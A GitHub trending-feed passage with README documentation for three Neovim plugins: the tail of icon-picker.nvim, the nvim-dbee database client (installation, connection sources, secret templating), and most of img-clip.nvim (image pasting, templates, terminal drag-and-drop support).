<ul> <li><code>IconPickerNormal</code> - Pick Icon and insert it to the buffer (normal mode)</li> <li><code>IconPickerInsert</code> - Pick Icon and insert it to the buffer (insert mode)</li> <li><code>IconPickerYank</code> - Pick Icon and yank it to register (will not input to buffer)</li> </ul> <p>You can cherry pick the Icon source to your preference using arguments, for example:</p> <pre><code>:IconPickerInsert alt_font symbols :IconPickerInsert nerd_font emoji :IconPickerInsert nerd_font :IconPickerInsert emoji nerd_font alt_font symbols </code></pre> <p>Available arguments for the <code>IconPicker</code> commands:</p> <ul> <li>alt_font</li> <li>emoji</li> <li>html_colors</li> <li>nerd_font</li> <li>nerd_font_v3 (if you're using Nerd Fonts version 3 and above)</li> <li>symbols</li> </ul> <p>I personally use <code>&lt;C-i&gt;</code> for <code>IconPickerInsert</code>. If you also want to map <code>&lt;C-I&gt;</code> and can't do it, you can check out my quick guide to solve that on YouTube: <a href="https://www.youtube.com/watch?v=lHBD6pdJ-Ng">Enable Special Keyboard Combinations in Alacritty / Kitty for Neovim</a></p> <h4>Sample Config (legacy):</h4> <details> <pre><code class="language-lua">local opts = { noremap = true, silent = true } vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;i", "&lt;cmd&gt;PickEverything&lt;cr&gt;", opts) vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;y", "&lt;cmd&gt;PickEverythingYank&lt;cr&gt;", opts) vim.keymap.set("i", "&lt;C-i&gt;", "&lt;cmd&gt;PickEverythingInsert&lt;cr&gt;", opts) </code></pre> <h4>Available Commands:</h4> <ul> <li>Normal Mode: <ul> <li><code>PickEverything</code> (Nerd Font Icons &amp; Emojis &amp; Alt Font &amp; Symbols)</li> <li><code>PickIcons</code> (Nerd Font Icons &amp; Emojis)</li> <li><code>PickEmoji</code></li> <li><code>PickNerd</code></li> <li><code>PickNerdV3</code></li> <li><code>PickSymbols</code></li> <li><code>PickAltFont</code></li> <li><code>PickAltFontAndSymbols</code></li> </ul> </li> <li>Normal Mode (yank): These commands will Yank the selected icon into register <ul> <li><code>PickEverythingYank</code> (Nerd Font Icons &amp; Emojis &amp; Alt Font &amp; Symbols)</li> <li><code>PickIconsYank</code> (Nerd Font Icons &amp; Emojis)</li> <li><code>PickEmojiYank</code></li> <li><code>PickNerdYank</code></li> <li><code>PickNerdV3Yank</code></li> <li><code>PickSymbolsYank</code></li> <li><code>PickAltFontYank</code></li> <li><code>PickAltFontAndSymbolsYank</code></li> </ul> </li> <li>Insert Mode: <ul> <li><code>PickEverythingInsert</code> (Nerd Font Icons &amp; Emojis &amp; Alt Font &amp; Symbols)</li> <li><code>PickIconsInsert</code> (Nerd Font Icons &amp; Emojis)</li> <li><code>PickEmojiInsert</code></li> <li><code>PickNerdInsert</code></li> <li><code>PickNerdV3Insert</code></li> <li><code>PickSymbolsInsert</code></li> <li><code>PickAltFontInsert</code></li> <li><code>PickAltFontAndSymbolsInsert</code></li> </ul> </li> </ul> <p>You can use <code>:help </code> to see the details for any of those commands. Example: <code>:help PickAltFont</code></p> </details> <h2>Todo:</h2> <p>Fine tune the Insert Mode experience.</p> <h2>Feedback</h2> <p>If you run into issues or come up with an awesome idea, please feel free to open an issue or PR.</p> <h2>Special Thanks To</h2> <h3><a href="https://github.com/mcauley-penney">@mcauley-penney</a> for the amazing <a href="https://github.com/ziontee113/icon-picker.nvim/pull/3">#3</a> <span>๐Ÿ”ฅ</span></h3> <h3><a href="https://github.com/logan-connolly">@logan-connolly</a> for adding Yank commands <a href="https://github.com/ziontee113/icon-picker.nvim/pull/7">#7</a> <span>๐Ÿ‘</span></h3> <h3><a href="https://github.com/KaminoU">@KaminoU</a> for adding HTML Color Picker <a href="https://github.com/ziontee113/icon-picker.nvim/pull/14">#14</a> <span>๐Ÿ‘</span></h3> <h3><a href="https://github.com/Snxwman">@Snxwman</a> for adding Nerd Fonts V3 icon list generator <a href="https://github.com/ziontee113/icon-picker.nvim/pull/21">#21</a> <span>โค๏ธ</span></h3> <h2>License</h2> <p>The project is licensed under MIT license. See <a href="https://raw.githubusercontent.com/ziontee113/icon-picker.nvim/master/LICENSE">LICENSE</a> file for details.</p> + kndndrj/nvim-dbee + 2024-01-06T01:35:13Z + tag:github.com,2024-01-06:/kndndrj/nvim-dbee + + <p>Interactive database client for neovim</p><hr><p><img src="https://img.shields.io/github/actions/workflow/status/kndndrj/nvim-dbee/lint.yml?label=linting&amp;style=for-the-badge" alt="Linting Status"> <img src="https://img.shields.io/github/actions/workflow/status/kndndrj/nvim-dbee/docgen.yml?label=docgen&amp;logo=neovim&amp;logoColor=white&amp;style=for-the-badge" alt="Docgen Status"> <img src="https://img.shields.io/badge/go-backend-lightblue?style=for-the-badge&amp;logo=go&amp;logoColor=white" alt="Backend"> <img src="https://img.shields.io/badge/lua-frontend-blue?style=for-the-badge&amp;logo=lua&amp;logoColor=white" alt="Frontend"></p> <p><a href="https://www.buymeacoffee.com/kndndrj"><img src="https://www.buymeacoffee.com/assets/img/custom_images/yellow_img.png" alt="&quot;Buy Me A Coffee&quot;"></a></p> <!-- DOCGEN_IGNORE_END --> <h1>Neovim DBee</h1> <p><strong>Database Client for NeoVim!</strong></p> <p><strong>Execute Your Favourite Queries From the Comfort of Your Editor!</strong></p> <p><strong>Backend in Go!</strong></p> <p><strong>Frontend in Lua!</strong></p> <p><strong>Doesn't rely on CLI tools!</strong></p> <p><strong>Get Results FAST With Under-the-hood Iterator!</strong></p> <p><strong>Bees Love It!</strong></p> <p><em><strong>Alpha Software - Expect Breaking Changes!</strong></em></p> <!-- DOCGEN_IGNORE_START --> <p><img src="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/assets/screenshot.jpg" alt="Screenshot"></p> <!-- DOCGEN_IGNORE_END --> <h2>Installation</h2> <ul> <li> <p>packer.nvim:</p> <pre><code class="language-lua">use { "kndndrj/nvim-dbee", requires = { "MunifTanjim/nui.nvim", }, run = function() -- Install tries to automatically detect the install method. -- if it fails, try calling it with one of these parameters: -- "curl", "wget", "bitsadmin", "go" require("dbee").install() end, config = function() require("dbee").setup(--[[optional config]]) end } </code></pre> </li> <li> <p>lazy.nvim:</p> <pre><code class="language-lua">{ "kndndrj/nvim-dbee", dependencies = { "MunifTanjim/nui.nvim", }, build = function() -- Install tries to automatically detect the install method. -- if it fails, try calling it with one of these parameters: -- "curl", "wget", "bitsadmin", "go" require("dbee").install() end, config = function() require("dbee").setup(--[[optional config]]) end, }, </code></pre> </li> </ul> <h3>Platform Support</h3> <!-- DOCGEN_IGNORE_START --> <details> <summary>Click to expand</summary> <!-- DOCGEN_IGNORE_END --> <p>This project aims to be as cross-platform as possible, but there are some limitations (for example some of the go dependencies only work on certain platforms). To address this issue, the client implementations are detached from the main logic and they register themselves to dbee backend on plugin start. This allows the use of build constraints, which we use to exclued certain client implementations on certain platforms.</p> <p>The CI pipeline tries building the binary for GOARCH/GOOS combinations specified in <a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/ci/targets.json">targets.json</a> - if the builds succeed, they are stored in a <a href="https://github.com/kndndrj/nvim-dbee-bucket">remote bucket</a> on a separate branch per run. Additionally, the <a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/lua/dbee/install/__manifest.lua">install manifest</a> gets created.</p> <p>To increase cgo cross-platform support, the pipeline uses zig as a C compiler.</p> <p>To check if your platform is currently supported, check out the mentioned manifest and the targets file.</p> <!-- DOCGEN_IGNORE_START --> </details> <!-- DOCGEN_IGNORE_END --> <h3>Manual Binary Installation</h3> <!-- DOCGEN_IGNORE_START --> <details> <summary>Click to expand</summary> <!-- DOCGEN_IGNORE_END --> <p>The installation examples include the <code>build</code>/<code>run</code> functions, which get triggered once the plugin updates. This should be sufficient for the majority of users. If that doesn't include you, then you have a few options:</p> <ul> <li>just install with the <code>"go"</code> option (this performs <code>go build</code> under the hood): <pre><code class="language-lua">require("dbee").install("go") </code></pre> </li> <li>Download an already compiled binary from one of urls in the <a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/lua/dbee/install/__manifest.lua">install manifest</a></li> <li><code>go install</code> (the install location will vary depending on your local go configuration): <pre><code class="language-sh">go install github.com/kndndrj/nvim-dbee/dbee@&lt;version&gt; </code></pre> </li> <li>Clone and build <pre><code class="language-sh"># Clone the repository and cd into the "go subfolder" git clone &lt;this_repo&gt; cd &lt;this_repo&gt;/dbee # Build the binary (optional output path) go build [-o ~/.local/share/nvim/dbee/bin/dbee] </code></pre> </li> </ul> <!-- DOCGEN_IGNORE_START --> </details> <!-- DOCGEN_IGNORE_END --> <h2>Configuration</h2> <p>You can pass an optional table parameter to <code>setup()</code> function.</p> <p>Here are the defaults:</p> <!--DOCGEN_CONFIG_START--> <!-- Contents from lua/dbee/config.lua are inserted between these tags for docgen. --> <p><a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/lua/dbee/config.lua"><code>config.lua</code></a></p> <!--DOCGEN_CONFIG_END--> <h2>Usage</h2> <p>Call the <code>setup()</code> function with an optional config parameter.</p> <!-- DOCGEN_IGNORE_START --> <details> <summary>Brief reference (click to expand):</summary> <!-- DOCGEN_IGNORE_END --> <pre><code class="language-lua">-- Open/close/toggle the UI. require("dbee").open() require("dbee").close() require("dbee").toggle() -- Run a query on the currently active connection. require("dbee").execute(query) -- Store the current result to file/buffer/yank-register (see "Getting Started"). require("dbee").store(format, output, opts) </code></pre> <p>The same functions are also available through the <code>:Dbee</code> user command.</p> <!-- DOCGEN_IGNORE_START --> </details> <!-- DOCGEN_IGNORE_END --> <h3>Getting Started</h3> <p>Here are a few steps to quickly get started:</p> <ul> <li> <p>call the <code>setup()</code> function in your <code>init.lua</code></p> </li> <li> <p>Specify connections using one or more sources (reffer to <a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/#specifying-connections">this section</a>).</p> </li> <li> <p>When you restart the editor, call <code>lua require("dbee").open()</code> to open the UI.</p> </li> <li> <p>Navigate to the drawer (tree) and use the following key-bindings to perform different actions depending on the context (the mappings can all be changed in the config):</p> <ul> <li> <p>All nodes:</p> <ul> <li>Press <code>o</code> to toggle the tree node.</li> <li>Press <code>r</code> to manually refresh the tree.</li> </ul> </li> <li> <p>Connections:</p> <ul> <li>Press <code>cw</code> to edit the connection</li> <li>Press <code>dd</code> to delete it (if source supports saving, it's also removed from there - see more below.)</li> <li>Press <code>&lt;CR&gt;</code> to perform an action - view history or look at helper queries. Pressing <code>&lt;CR&gt;</code> directly on the connection node will set it as the active one</li> </ul> </li> <li> <p>Scratchpads:</p> <ul> <li>Press <code>&lt;CR&gt;</code> on the <code>new</code> node to create a new scratchpad.</li> <li>When you try to save it to disk (<code>:w</code>), the path is automatically filled for you. You can change the name to anything you want, if you save it to the suggested directory, it will load the next time you open DBee.</li> <li>Press <code>cw</code> to rename the scratchpad.</li> <li>Press <code>dd</code> to delete it (also from disk).</li> <li>Pressing <code>&lt;CR&gt;</code> on an existing scratchpad in the drawer will open it in the editor pane.</li> </ul> </li> <li> <p>Help:</p> <ul> <li>Just view the key bindings.</li> </ul> </li> </ul> </li> <li> <p>Once you selected the connection and created a scratchpad, you can navigate to the editor pane (top-right by default) and start writing queries. In editor pane, you can use the following actions:</p> <ul> <li>Highlight some text in visual mode and press <code>BB</code> - this will run the selected query on the active connection.</li> <li>If you press <code>BB</code> in normal mode, you run the whole scratchpad on the active connection.</li> </ul> </li> <li> <p>If the request was successful, the results should appear in the "result" buffer (bottom right by default). If the total number of results was lower than the <code>page_size</code> parameter in config (100 by default), all results should already be present. If there are more than <code>page_size</code> results, you can "page" thrugh them using one of the following:</p> <ul> <li>Using <code>require("dbee")api.ui.result_page_next()</code> and <code>require("dbee")api.ui.result_page_prev()</code> from anywhere (even if your cursor is outside the result buffer).</li> <li>Using <code>L</code> for next and <code>H</code> for previous page if the cursor is located inside the results buffer.</li> </ul> </li> <li> <p>Once in the "result" buffer, you can yank the results with the following keys:</p> <ul> <li><code>yaj</code> yank current row as json (or row range in visual mode)</li> <li><code>yac</code> yank current row as CSV (or row range in visual mode)</li> <li><code>yaJ</code> to yank all rows as json</li> <li><code>yaC</code> to yank all rows as CSV</li> </ul> </li> <li> <p>The current result (of the active connection) can also be saved to a file, yank-register or buffer using <code>require("dbee").store()</code> lua function or <code>:Dbee store</code> Ex command. Here are some examples:</p> <pre><code class="language-lua">-- All rows as CSV to current buffer: require("dbee").store("csv", "buffer", { extra_arg = 0 }) -- Results from row 2 to row 7 as json to file (index is zero based): require("dbee").store("json", "file", { from = 2, to = 7, extra_arg = "path/to/file.json" }) -- Yank the first row as table require("dbee").store("table", "yank", { from = 0, to = 1 }) -- Yank the last 2 rows as CSV -- (negative indices are interpreted as length+1+index - same as nvim_buf_get_lines()) -- Be aware that using negative indices requires for the -- iterator of the result to be drained completely, which might affect large result sets. require("dbee").store("csv", "yank", { from = -3, to = -1 }) </code></pre> </li> <li> <p>Once you are done or you want to go back to where you were, you can call <code>require("dbee").close()</code>.</p> </li> </ul> <h3>Specifying Connections</h3> <p>Connection represents an instance of the database client (i.e. one database). This is how it looks like:</p> <pre><code class="language-lua">{ id = "optional_identifier" -- only mandatory if you edit a file by hand. IT'S YOUR JOB TO KEEP THESE UNIQUE! name = "My Database", type = "sqlite", -- type of database driver url = "~/path/to/mydb.db", } </code></pre> <p>The connections are loaded to dbee using so-called "sources". They can be added to dbee using the <code>setup()</code> function:</p> <pre><code class="language-lua"> require("dbee").setup { sources = { require("dbee.sources").MemorySource:new({ { name = "...", type = "...", url = "...", }, -- ... }), require("dbee.sources").EnvSource:new("DBEE_CONNECTIONS"), require("dbee.sources").FileSource:new(vim.fn.stdpath("cache") .. "/dbee/persistence.json"), }, -- ... }, </code></pre> <p>The above sources are just built-ins. Here is a short description of them:</p> <ul> <li> <p><code>MemorySource</code> just loads the connections you give it as an argument.</p> </li> <li> <p><code>EnvSource</code> loads connection from an environment variable Just export the variable you gave to the loader and you are good to go:</p> <pre><code class="language-sh"> export DBEE_CONNECTIONS='[ { "name": "DB from env", "url": "mysql://...", "type": "mysql" } ]' </code></pre> </li> <li> <p><code>FileSource</code> loads connections from a given json file. It also supports editing and adding connections interactively</p> </li> </ul> <p>If the source supports saving and editing you can add connections manually using the "add" item in the drawer. Fill in the values and write the buffer (<code>:w</code>) to save the connection. By default, this will save the connection to the global connections file and will persist over restarts (because default <code>FileSource</code> supports saving)</p> <p>Another option is to use "edit" item in the tree and just edit the source manually.</p> <p>If you aren't satisfied with the default capabilities, you can implement your own source. You just need to fill the <code>Source</code> interface and pass it to config at setup (<code>:h dbee.sources</code>).</p> <h4>Secrets</h4> <p>If you don't want to have secrets laying around your disk in plain text, you can use the special placeholders in connection strings (this works using any method for specifying connections).</p> <p>Each connection parameter is passed through go templating engine, which has two available functions:</p> <ul> <li><code>env</code> for retrieving environment variables and</li> <li><code>exec</code> for evaluating shell commands.</li> </ul> <p>The template syntax for functions is the following: <code>{{ &lt;func&gt; "&lt;param&gt;" }}</code>. If you are dealing with json, you need to escape double quotes, so it's sometimes better to use backticks instead (<code>{{ &lt;func&gt; `&lt;param&gt;` }}</code>).</p> <p>Example:</p> <p>Using the <code>DBEE_CONNECTIONS</code> environment variable for specifying connections and exporting secrets to environment:</p> <pre><code class="language-sh"># Define connections export DBEE_CONNECTIONS='[ { "name": "{{ exec `echo Hidden Database` }}", "url": "postgres://{{ env \"SECRET_DB_USER\" }}:{{ env `SECRET_DB_PASS` }}@localhost:5432/{{ env `SECRET_DB_NAME` }}?sslmode=disable", "type": "postgres" } ]' # Export secrets export SECRET_DB_NAME="secretdb" export SECRET_DB_USER="secretuser" export SECRET_DB_PASS="secretpass" </code></pre> <p>If you start neovim in the same shell, this will evaluate to the following connection:</p> <pre><code class="language-lua">{ { name = "Hidden Database", url = "postgres://secretuser:secretpass@localhost:5432/secretdb?sslmode=disable", type = "postgres", } } </code></pre> <h2>API</h2> <p>Dbee comes with it's own API interface. It is split into two parts:</p> <ul> <li>core (interacting with core of the plugin),</li> <li>ui (interacting with ui of the plugin).</li> </ul> <p>You can access it like this:</p> <pre><code class="language-lua">require("dbee").api.core.some_func() require("dbee").api.ui.some_func() </code></pre> <h2>Projector Integration</h2> <p>DBee is compatible with my other plugin <a href="https://github.com/kndndrj/nvim-projector">nvim-projector</a>, a code-runner/project-configurator.</p> <p>To use dbee with it, use <a href="https://github.com/kndndrj/projector-dbee">this extension</a>.</p> <!-- DOCGEN_IGNORE_START --> <h2>Development</h2> <p>Reffer to <a href="https://raw.githubusercontent.com/kndndrj/nvim-dbee/master/ARCHITECTURE.md">ARCHITECTURE.md</a> for a brief overview of the architecture.</p> <!-- DOCGEN_IGNORE_END --> - HakonHarnes/img-clip.nvim - 2024-01-05T01:36:30Z - tag:github.com,2024-01-05:/HakonHarnes/img-clip.nvim - - <p>Effortlessly embed images into any markup language, like LaTeX, Markdown or Typst.</p><hr><h1>๐Ÿ“ธ img-clip.nvim</h1> <p>Effortlessly embed images into any markup language, like LaTeX, Markdown or Typst.</p> <p><img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/db364ae2-f966-43d2-8f15-34654e03e0f4" alt="demo"></p> <h2>Features</h2> <ul> <li>Paste images <strong>directly</strong> from the system <strong>clipboard</strong>.</li> <li><strong>Drag and drop</strong> images from your web browser or file explorer to embed them.</li> <li>Embed images as <strong>files</strong>, <strong>URLs</strong>, or directly as <strong>Base64</strong>.</li> <li><strong>Configurable templates</strong> with cursor positioning and figure labels.</li> <li><strong>Default templates</strong> for widely-used markup languages like LaTeX, Markdown and Typst.</li> <li><strong>Cross-compatibility</strong> with Linux, Windows, and MacOS.</li> </ul> <p>See these features in action in the <a href="https://raw.githubusercontent.com/HakonHarnes/img-clip.nvim/main/#demonstration">demonstration section</a>!</p> <h2>Requirements</h2> <ul> <li><strong>Linux:</strong> <a href="https://github.com/astrand/xclip">xclip</a> (x11) or <a href="https://github.com/bugaevc/wl-clipboard">wl-clipboard</a> (wayland).</li> <li><strong>MacOS:</strong> <a href="https://github.com/jcsalterego/pngpaste">pngpaste</a> (optional, but recommended).</li> <li><strong>Windows:</strong> No requirements.</li> </ul> <blockquote> <p>โš ๏ธ Run <code>:checkhealth img-clip</code> after installation to ensure requirements are satisfied.</p> </blockquote> <h2>Installation</h2> <p>Install the plugin with your preferred package manager:</p> <h3><a href="https://github.com/folke/lazy.nvim">lazy.nvim</a></h3> <pre><code class="language-lua">return { "HakonHarnes/img-clip.nvim", event = "BufEnter", opts = { -- add options here -- or leave it empty to use the default settings }, keys = { -- suggested keymap { "&lt;leader&gt;p", "&lt;cmd&gt;PasteImage&lt;cr&gt;", desc = "Paste clipboard image" }, }, } </code></pre> <h2>Usage</h2> <h3>Commands</h3> <p>The plugin comes with the following commands:</p> <ul> <li><code>PasteImage</code> Inserts the image from the clipboard into the document.</li> </ul> <p>Consider binding <code>PasteImage</code> to something like <code>&lt;leader&gt;p</code>.</p> <h3>API</h3> <p>You can also use the Lua equivalent, which allows you to override your configuration by passing the options directly to the function:</p> <pre><code class="language-lua">require("img-clip").pasteImage({ use_absolute_path = false, file_name = "image.png" }) </code></pre> <h2>Configuration</h2> <h3>Setup</h3> <p>The plugin comes with the following defaults:</p> <pre><code class="language-lua">{ default = { debug = false, -- enable debug mode dir_path = "assets", -- directory path to save images to, can be relative (cwd or current file) or absolute file_name = "%Y-%m-%d-%H-%M-%S", -- file name format (see lua.org/pil/22.1.html) url_encode_path = false, -- encode spaces and special characters in file path use_absolute_path = false, -- expands dir_path to an absolute path relative_to_current_file = false, -- make dir_path relative to current file rather than the cwd prompt_for_file_name = true, -- ask user for file name before saving, leave empty to use default show_dir_path_in_prompt = false, -- show dir_path in prompt when prompting for file name use_cursor_in_template = true, -- jump to cursor position in template after pasting insert_mode_after_paste = true, -- enter insert mode after pasting the markup code embed_image_as_base64 = false, -- paste image as base64 string instead of saving to file max_base64_size = 10, -- max size of base64 string in KB template = "$FILE_PATH", -- default template drag_and_drop = { enabled = true, -- enable drag and drop mode insert_mode = false, -- enable drag and drop in insert mode copy_images = false, -- copy images instead of using the original file download_images = true, -- download images and save them to dir_path instead of using the URL }, }, -- file-type specific options -- any options that are passed here will override the default config -- for instance, setting use_absolute_path = true for markdown will -- only enable that for this particular file type -- the key (e.g. "markdown") is the filetype (output of "set filetype?") markdown = { url_encode_path = true, template = "![$CURSOR]($FILE_PATH)", drag_and_drop = { download_images = false, }, }, html = { template = '&lt;img src="$FILE_PATH" alt="$CURSOR"&gt;', }, tex = { template = [[ \begin{figure}[h] \centering \includegraphics[width=0.8\textwidth]{$FILE_PATH} \caption{$CURSOR} \label{fig:$LABEL} \end{figure} ]], }, typst = { template = [[ #figure( image("$FILE_PATH", width: 80%), caption: [$CURSOR], ) &lt;fig-$LABEL&gt; ]], }, rst = { template = [[ .. image:: $FILE_PATH :alt: $CURSOR :width: 80% ]], }, asciidoc = { template = 'image::$FILE_PATH[width=80%, alt="$CURSOR"]', }, org = { template = [=[ #+BEGIN_FIGURE [[file:$FILE_PATH]] #+CAPTION: $CURSOR #+NAME: fig:$LABEL #+END_FIGURE ]=], }, } </code></pre> <h3>Options</h3> <p>The options can be configured as either static values (e.g. "assets"), or by dynamically generating them through functions. For example, to set the <code>dir_path</code> to match the name of the currently opened file:</p> <pre><code class="language-lua">dir_path = function() return vim.fn.expand("%:t:r") end, </code></pre> <h3>File types</h3> <p>The options can also be scoped to specific file types. In the default configuration the templates for the <code>markdown</code>, <code>html</code>, <code>tex</code> ..., files override the template defined in the global settings. Any option can be added under the specific file type, not just the template. For instance, if you only want to use absolute file paths for LaTeX, then:</p> <pre><code class="language-lua">tex = { use_absolute_path = true } </code></pre> <p>File type-specific options are determined by the <em>file type</em> (see <code>:help filetype</code>). You can override settings for any file type by specifying it as the key in your configuration:</p> <pre><code class="language-lua">&lt;filetype&gt; = { -- obtained from "set filetype?" -- add opts here } </code></pre> <h3>Templates</h3> <p>Templates in the plugin use placeholders that are dynamically replaced with the correct values at runtime. For available placeholders, see the following table and the <a href="https://raw.githubusercontent.com/HakonHarnes/img-clip.nvim/main/#demonstration">demonstration</a>:</p> <table> <thead> <tr> <th>Placeholder</th> <th>Description</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td><code>$FILE_NAME</code></td> <td>File name, including its extension.</td> <td><code>image.png</code></td> </tr> <tr> <td><code>$FILE_NAME_NO_EXT</code></td> <td>File name, excluding its extension.</td> <td><code>image</code></td> </tr> <tr> <td><code>$FILE_PATH</code></td> <td>File path.</td> <td><code>/path/to/image.png</code></td> </tr> <tr> <td><code>$LABEL</code></td> <td>Figure label, generated from the file name, converted to lower-case and with spaces replaced by dashes.</td> <td><code>the-image</code> (from <code>the image.png</code>)</td> </tr> <tr> <td><code>$CURSOR</code></td> <td>Indicates where the cursor will be placed after insertion if <code>use_cursor_in_template</code> is true.</td> <td></td> </tr> </tbody> </table> <h2>Drag and drop</h2> <p>The drag and drop feature enables users to drag images from the web browser or file explorer into the terminal to automatically embed them, in <strong>normal mode</strong>. For this to work correctly, the following is required by the terminal emulator:</p> <ol> <li>The terminal emulator must paste the file path or URL to the image when it is dropped into the terminal.</li> <li>The text must be inserted in <a href="https://cirw.in/blog/bracketed-paste">bracketed paste mode</a>, which allows Neovim to differentiate pasted text from typed-in text. This is required because the drag and drop feature is implemented by overriding <code>vim.paste()</code>.</li> </ol> <p>A list of terminal emulators and their capabilities is given below.</p> <table> <thead> <tr> <th rowspan="2" style="text-align:center;">Terminal</th> <th colspan="2" style="text-align:center;">X11</th> <th colspan="2" style="text-align:center;">Wayland</th> <th colspan="2" style="text-align:center;">MacOS</th> <th colspan="2" style="text-align:center;">Windows</th> </tr> <tr> <th style="text-align:center;">File</th> <th style="text-align:center;">URL</th> <th style="text-align:center;">File</th> <th style="text-align:center;">URL</th> <th style="text-align:center;">File</th> <th style="text-align:center;">URL</th> <th style="text-align:center;">File</th> <th style="text-align:center;">URL</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/kovidgoyal/kitty">Kitty</a></td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://github.com/goblinfactory/konsole">Konsole</a></td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://github.com/alacritty/alacritty">Alacritty</a></td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โŒ</td> </tr> <tr> <td><a href="https://github.com/wez/wezterm">Wezterm</a></td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โŒ</td> </tr> <tr> <td><a href="https://codeberg.org/dnkl/foot">Foot</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://en.wikipedia.org/wiki/Terminal_(macOS)">Terminal.app</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://iterm2.com/">iTerm.app</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://github.com/vercel/hyper">Hyper</a></td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โ“๏ธ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> </tr> <tr> <td><a href="https://en.wikipedia.org/wiki/Xterm">XTerm</a></td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> </tr> <tr> <td><a href="https://apps.microsoft.com/detail/9N0DX20HK701">Windows Terminal</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โœ…</td> <td style="text-align:center;">โœ…</td> </tr> <tr> <td><a href="https://en.wikipedia.org/wiki/PowerShell">PowerShell</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> </tr> <tr> <td><a href="https://github.com/cmderdev/cmder">Cmder</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> </tr> <tr> <td><a href="https://github.com/Maximus5/ConEmu">ConEmu</a></td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โž–</td> <td style="text-align:center;">โŒ</td> <td style="text-align:center;">โŒ</td> </tr> </tbody> </table> <blockquote> <p>๐Ÿ’ก If you're having issues on Windows, try changing the default shell to <code>powershell</code> or <code>pwsh</code>. See <code>:h shell-powershell</code>.</p> </blockquote> <blockquote> <p>โš ๏ธ MacOS URLs only work in Safari.</p> </blockquote> <h2>Demonstration</h2> <h3>Drag and drop</h3> <p><img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/7ca4543c-e68e-4ec6-b723-46c959833e6e" alt="drag-and-drop"></p> <h3>Paste from clipboard</h3> <p><img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/6ecbdbf8-b382-434b-ad92-a09776309864" alt="clipboard-screenshot"> <img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/05c3f0e3-3d73-45d6-a2ad-d8f43a298943" alt="clipboard-copy"></p> <h3>Templates</h3> <p><img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/af10a690-cea9-4776-88aa-1f793c1552e6" alt="template"> <img src="https://github.com/HakonHarnes/img-clip.nvim/assets/89907156/fd996028-adc0-4706-9340-63ba33f6e252" 